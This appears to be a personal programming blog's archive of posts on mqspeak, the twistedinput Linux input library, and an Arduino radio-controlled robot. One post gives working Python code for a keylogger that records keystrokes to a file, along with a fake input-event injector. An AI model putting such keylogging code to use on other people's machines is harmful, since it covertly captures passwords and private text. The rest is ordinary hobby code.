Zobrazují se příspěvky se štítkempython. Zobrazit všechny příspěvky
Zobrazují se příspěvky se štítkempython. Zobrazit všechny příspěvky

úterý 12. července 2016

mqspeak update

I'm happy to announce that I released new mqspeak version a few days ago. It contains some bug fixes and also some new features. Let'st briefly describe them:

Update waiting

When channel update consists of data from multiple sensors, it may happen that one sensor die. By default channel never will be updated until data from all sensors arrives. Inactive sensor causes channel update will be stalled.
When update waiting enabled, mqspeak will wait defined amount of seconds and then sends out even incomplete channel update.

On-Change update

I have implemented onchange updater for handling asynchronous events, like opening and closing a doors or events from buttons. This updater simply sends every configured MQTT message to ThingSpeak/Phant channel. If events happens too often, mqspeak will store them in local buffer and send them out when remote server can accept new update.

syslog support

I removed logging to stdout and replaced it by logging to syslog. It provides easier control what the services does and more convenient debugging.

Download

New mqspeak version is already uploaded into pip repository. You can install it by issuing of following command:
$ sudo pip3 install mqspeak

čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

středa 2. října 2013

Remote controlled robot

Reason, why I developed my little input library were that I wanted remotely control robots and other things with a computer. My idea was sending commands via serial line to the one Arduino and transmit them wirelessly into another. Twistedinput was designed as layer between input device and serial output.

I decided for Twisted framework because I very like it and because I can make very complex things with it. For example control robots over the Internet. Maybe build something like this :)

Wireless module

I'm using a cheap radio module from ebay. It is base on nRF24L01 chip. If you are interested in arduino, you are probably already familiar with it.

There is very nice library for this module called RF24. You can google out many tutorials and lot of other useful stuff for it.

Wireless transmitter

For sending commands into robot, I designed its own communication protocol. It is based on very similar data structure as input_event from linux/input.h header file.

Although transmitter has defined this structure, it doesn't actually use it. It only needs to know, how long this structure is. That's because it reads data from serial line byte by byte. When it receives all bytes needed for building one event structure, it sends them out.

Transmitter code

#include <SPI.h>
#include "RF24.h"

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// buffer for received data
char eventBuffer[sizeof(struct event)];
int bufferIndex;

RF24 radio(9, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

/**
 * routine for sending events
 */
void sendEvent(struct event * event) {
  radio.stopListening();
  
  // send event to robot
  radio.write(event, sizeof(struct event));
  
  radio.startListening();
}

void setup() {
  Serial.begin(19200);
  
  bufferIndex = 0;
  
  radio.begin();
  radio.setRetries(15, 15) ;
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[0]);
  radio.openReadingPipe(1,pipes[1]);
  
  radio.startListening();
}

void loop() {
  if(Serial.available() > 0) {
    Serial.readBytes(eventBuffer + bufferIndex, 1);
    bufferIndex++;
    if(!(bufferIndex < sizeof(struct event))) {
      bufferIndex = 0;
      sendEvent((struct event *)eventBuffer);
    }
  }
}

Wireless receiver

Receiver is my robot. It doesn't reads data byte by byte, it receives complete event structure instead. After that it needs to handle it.

Handling algorithm is little bit odd. I wanted to calculate, which pins should be LOW an which should by HIGH. This solution can do this but it isn't ideal way I thing.

The code is splitted into two parts. Header file with defines and second file with code. In the Arduino IDE you can create second file by clicking at small triangle on the right side, just below serial monitor button.

robot.h header file:

// define some commands
#define EV_MOVE         0x01

#define MOVE_FORWARD    0x01
#define MOVE_BACKWARD   0x02
#define MOVE_STOP       0x03
#define MOVE_LEFT       0x04
#define MOVE_RIGHT      0x05
#define MOVE_STRAIGHT   0x06

#define MOTOR_PIN_COUNT          4
#define LEFT_WHEEL_FORWARD       6
#define RIGHT_WHEEL_FORWARD      3
#define LEFT_WHEEL_BACKWARD      9
#define RIGHT_WHEEL_BACKWARD     5

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// define moving states
enum Move {
  E_MOVE_STOP,
  E_MOVE_FORWARD,
  E_MOVE_BACKWARD
};

enum Turn {
  E_TURN_STRAIGHT,
  E_TURN_LEFT,
  E_TURN_RIGHT
};

// function prototypes
unsigned char getMoveMask(Move eMove);
unsigned char getTurnMask(Turn eTurn);
unsigned char getPinMask(Move eMove, Turn eTurn);
void update();
void doMove(struct event * event);
void handleEvent(struct event * event);
struct event * bytesToEvent(char * buffer);

robot code:

#include <SPI.h>
#include "RF24.h"
#include "nRF24L01.h"
#include "robot.h"

// buffer for received data
char eventBuffer[sizeof(struct event)];

RF24 radio(8, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

// store current move direction
Move currentMove;
Turn currentTurn;

// store current pin mask for motors
unsigned char currentPinMask;

int motorPins[] = {
  RIGHT_WHEEL_BACKWARD,
  RIGHT_WHEEL_FORWARD,
  LEFT_WHEEL_BACKWARD,
  LEFT_WHEEL_FORWARD
};

/**
 * get mask for move
 */
unsigned char getMoveMask(Move eMove) {
  switch(eMove) {
    case E_MOVE_STOP:      return B0000; break;
    case E_MOVE_FORWARD:   return B1010; break;
    case E_MOVE_BACKWARD:  return B0101; break;
  }
}

/**
 * get mask for turn
 */
unsigned char getTurnMask(Turn eTurn) {
  switch(eTurn) {
    case E_TURN_STRAIGHT:  return B0000; break;
    case E_TURN_LEFT:      return B0110; break;
    case E_TURN_RIGHT:     return B1001; break;
  }
}

unsigned char getPinMask(Move eMove, Turn eTurn) {
  unsigned char moveMask = getMoveMask(eMove);
  unsigned char turnMask = getTurnMask(eTurn);
  if((moveMask == 0) || (turnMask == 0)) {
    return moveMask | turnMask;
  }
  if(eMove == E_MOVE_BACKWARD) {
    turnMask = ~turnMask;
  }
  return moveMask & turnMask;
}

/**
 * update motor pins
 */
void update() {
  int i;
  unsigned char pinMask = getPinMask(currentMove, currentTurn);
  
  // create differential pin mask by xoring current mask and new mask
  // differential mask is used for handling only those pins, which really needs
  // to change its state
  unsigned char differentialPinMask = currentPinMask ^ pinMask;
  
  // handle pins which needs to be set LOW at first
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) == 0)) {
      digitalWrite(motorPins[i], LOW);
    } 
  }
  
  // handle pins which needs to be set HIGH
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) != 0)) {
      digitalWrite(motorPins[i], HIGH);
    } 
  }
  
  // assign new mask
  currentPinMask = pinMask;
}

void doMove(struct event * event) {
  switch(event->code) {
    case MOVE_FORWARD:   currentMove = E_MOVE_FORWARD;     break;
    case MOVE_BACKWARD:  currentMove = E_MOVE_BACKWARD;    break;
    case MOVE_STOP:      currentMove = E_MOVE_STOP;        break;
    case MOVE_LEFT:      currentTurn = E_TURN_LEFT;        break;
    case MOVE_RIGHT:     currentTurn = E_TURN_RIGHT;       break;
    case MOVE_STRAIGHT:  currentTurn = E_TURN_STRAIGHT;    break;
  }
  update();
}

void handleEvent(struct event * event) {
  switch(event->type) {
    case EV_MOVE:        doMove(event);               break;
  }
}

/**
 * convert big-endian bytes pointed by buffer into
 * native endian event structure
 */
struct event * bytesToEvent(char * buffer) {
  short val = *(short *)(((void *)buffer) + (2 * sizeof(unsigned char)));
  *((short *)(((void *)buffer) + (2 * sizeof(unsigned char)))) = (val << 8) | ((val >> 8) & 0xff);
  return (struct event *)buffer;
}

void setup() {
  
  // debug only
  Serial.begin(19200);
  
  // set motor pins to OUTPUT
  int i;
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    pinMode(motorPins[i], OUTPUT);
  }
  
  // initialize pin mask
  currentPinMask = 0x0;
  
  // initialize current move direction
  currentMove = E_MOVE_STOP;
  currentTurn = E_TURN_STRAIGHT;
  
  radio.begin();
  radio.setRetries(15, 15);
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[1]);
  radio.openReadingPipe(1,pipes[0]);
  
  radio.startListening();
}

void loop() {
  if(radio.available() > 0) {
    bool done = false;
    while(! done) {
      done = radio.read(eventBuffer, sizeof(struct event));
    }
    handleEvent(bytesToEvent(eventBuffer));
  }
}

Endianness

Endianness is a way of storing data types, which are more than one byte long. If you are not familiar with it, please read wikipedia.

It's known convention, that all data send across network should be encoded in big-endian byte order. For that reason my robot actually doesn't receive event structure. It receive some bytes which needs to be encoded into right order. This is what bytesToEvent routine do. Unfortunately, I don't now about some elegant solution, my implementation is little bit dirty. If Arduino were based on some big-endian architecture, this routine will return an event structure in wrong byte order.

Controlling with computer

Finally we need last piece of software, which runs on the computer. A computer acts like interface between transmitting Arduino and in input device. But it can do more things. It can save all events into file and reproduce them later or it can be some kind of autopilot. This software hasn't send data into transmitter directly, but over computer network. What ever you want.

You can download my radiocontrol script

pátek 27. září 2013

Using twistedinput

Recently I described basics of asynchronous file reading with Twisted framework. Using this approach is build my twistedinput library. Now I would like describe more this library and show you basic usage.

InputEvent objects

Before we can start using twistedinput, you have to understand of basic building block of this library.

If you read previous article, you should remember, that we simply printed out length of received data. Let me quickly describe these data.

When you press button on your input device, protocol from previous article actually received couple of input_event structures. This structure is defined in linux/input.h header file.

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

Time is another structure. It is composed of two fields – seconds and microseconds. Both are 64-bit long. Type and code are unsigned 16-bit values. Value field is signed 32-bit value.

Twistedinput knows this structure and has wrapper class InputEvent for it. See the basic usage.

>>> from twistedinput.event import InputEvent 
>>> event = InputEvent.buildInputEvent(1, 2, 3) 
>>> print unicode(event) 
time: 1379719268.6574370, type: 0x0001, code: 0x0002, value: 0x00000003 
>>> event.time.seconds 
1379719268 
>>> event.type 
1 
>>> event.code 
2 
>>> event.value 
3 

Receiving events

Now you are familiar with InputEvent class. Lets write small script, which receives event from your input device. I'm using Genius gamepad with device file located at /dev/input/event15.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def eventReceived(self, event):
        print unicode(event)

gamepad = EventDevice(
    GamepadProtocol(InputEventFactory()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Twistedinput has protocol for receiving events. Is simply receive data from input device and save them in buffer. When it has enough data for creating an event, it use factory (given as first argument) for building it and calls eventReceived method.

When I run this script and press and release buttons 1, 2, 3 and 4 respectively, I get following output

buben@debian:~$ python gamepad.py /dev/input/event15 
time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.712725, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.712730, type: 0x0001, code: 0x0120, value: 0x00000000 
time: 1379976614.712774, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.888736, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.888741, type: 0x0001, code: 0x0121, value: 0x00000001 
time: 1379976614.888786, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.944742, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.944747, type: 0x0001, code: 0x0121, value: 0x00000000 
time: 1379976614.944790, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.192746, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.192752, type: 0x0001, code: 0x0122, value: 0x00000001 
time: 1379976615.192792, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.272742, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.272747, type: 0x0001, code: 0x0122, value: 0x00000000 
time: 1379976615.272788, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.632773, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.632778, type: 0x0001, code: 0x0123, value: 0x00000001 
time: 1379976615.632815, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.712743, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.712746, type: 0x0001, code: 0x0123, value: 0x00000000 
time: 1379976615.712768, type: 0x0000, code: 0x0000, value: 0x00000000 

There are 24 events in total. Four buttons has been pressed and released. There are three events for each physical event. In other words, when you press a button, three events is generated. Not all buttons generate three events, some generate only two.

Let's despite first three events which belongs to button 1.

time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 

First event has type 0x4 and code 0x4. These values corresponds to symbolic names EV_MSC and MSC_SCAN in linux/input.h header file. This sort of events are not important to us for now.

The second one has type 0x1 and code 0x120. Symbolic names are EV_KEY and BTN_TRIGGER. So type telling us that some button has been pressed. Code describing which button has been pressed. And finally value is value of this button. This is the most important event for us.

The last one is synchronization event. It is used as event separator. We can ignore it too.

Using Mapping

Now we can handle events in one eventReceived method. It's fine if you are interested in for few event types. But what if you are writing driver for keyboard. Your eventReceived should be composed from very long list of elif statemets for handling all different key. That's not good idea. In this case event mapping comes for your rescue.

Event mapping maps event into their handle routines. Everything what you have to do is implement only those routines, which you are interested in.

Instance of mapping is second optional argument for EventProtocol. If omnited, you have to override eventReceived method. If you provide mapping, simply implement methods defined by mapping and only those, which are interesting for you. Let's look at following example.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twistedinput.mapping import GamepadEventMapping
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def button1(self, event):
        print "button 1:", event.value

    def button2(self, event):
        print "button 2:", event.value

    def button3(self, event):
        print "button 3:", event.value

    def button4(self, event):
        print "button 4:", event.value

    def nonMappedEvent(self, event):
        print "not supported event:", unicode(event)

gamepad = EventDevice(
    GamepadProtocol(
        InputEventFactory(),
        GamepadEventMapping()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Lets run this script and see its output

buben@debian:~$ python gamepad.py /dev/input/event15 
button 1: 1 
button 1: 0 
button 2: 1 
button 2: 0 
button 3: 1 
button 3: 0 
button 4: 1 
button 4: 0 

This is much better. If you don't implement method defined by mapping, nothing happened. If mapping doesn't map some event, nonMappedEvent method is called with this event as an argument.